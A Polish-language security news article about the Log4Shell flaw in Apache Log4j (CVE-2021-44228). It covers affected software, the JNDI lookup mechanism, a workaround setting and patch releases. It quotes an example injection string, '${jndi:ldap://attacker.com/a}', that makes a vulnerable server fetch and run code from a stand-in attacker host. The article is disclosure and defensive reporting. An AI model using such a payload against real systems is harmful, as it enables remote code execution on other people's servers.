W Apache Log4j, popularnej bibliotece do rejestrowania logów w aplikacjach Java, odkryto krytyczną lukę, która umożliwia wykonanie dowolnego kodu podczas zapisywania specjalnie sformatowanej wartości w postaci "{jndi:URL}" do logu. Atak można przeprowadzić na aplikacjach Java, które zapisują w logu wartości pozyskane z zewnętrznych źródeł, na przykład przy wyświetlaniu problematycznych wartości w komunikatach o błędach.
Zauważono, że problem dotyczy niemal wszystkich projektów wykorzystujących takie frameworki jak Apache Struts, Apache Solr, Apache Druid czy Apache Flink, w tym Steam, Apple iCloud, klienci i serwery gry Minecraft. Oczekuje się, że luka może prowadzić do fali masowych ataków na aplikacje korporacyjne, powtarzając historię krytycznych luk w frameworku Apache Struts, który według szacunków jest stosowany w aplikacjach webowych przez 65% firm z listy Fortune 100. Ponadto już zarejestrowano próby skanowania sieci w poszukiwaniu podatnych systemów.
Problemy są dodatkowo zaostrzone tym, że już opublikowano działający exploit, a poprawki dla stabilnych gałęzi w tym momencie nie zostały jeszcze wprowadzone. Numer identyfikacyjny CVE nie został jeszcze przypisany. Poprawka została włączona tylko do testowej gałęzi log4j-2.15.0-rc1. Jako obejście blokady luki zaleca się ustawienie parametru log4j2.formatMsgNoLookups na wartość true.
Przyczyną problemu jest to, że log4j obsługuje przetwarzanie specjalnych maski "{}" w łańcuchach logów, w których mogą być wykonywane zapytania JNDI (Java Naming and Directory Interface). Atak polega na przekazaniu łańcucha z podstawieniem "${jndi:ldap://attacker.com/a}", podczas przetwarzania którego log4j wyśle do serwer attacker.com zapytanie LDAP o ścieżkę do klasy Java. Zwrócona serwerem ścieżka atakującego (na przykład http://second-stage.attacker.com/Exploit.class) zostanie załadowana i wykonana w kontekście bieżącego procesu, co pozwala atakującemu na wykonanie dowolnego kodu w systemie z uprawnieniami bieżącej aplikacji.
Dodatek 1: Lukom przypisano identyfikator CVE-2021-44228.
Dodatek 2: Odkryto sposób na obejście zabezpieczeń dodanych w wersji log4j-2.15.0-rc1. Zaproponowano nowe uaktualnienie log4j-2.15.0-rc2 z bardziej kompleksową ochroną przed luką. W kodzie wyróżniono zmianę polegającą na braku awaryjnego zakończenia w przypadku użycia nieprawidłowo sformatowanego URL JNDI.
Źródło: opennet.ru
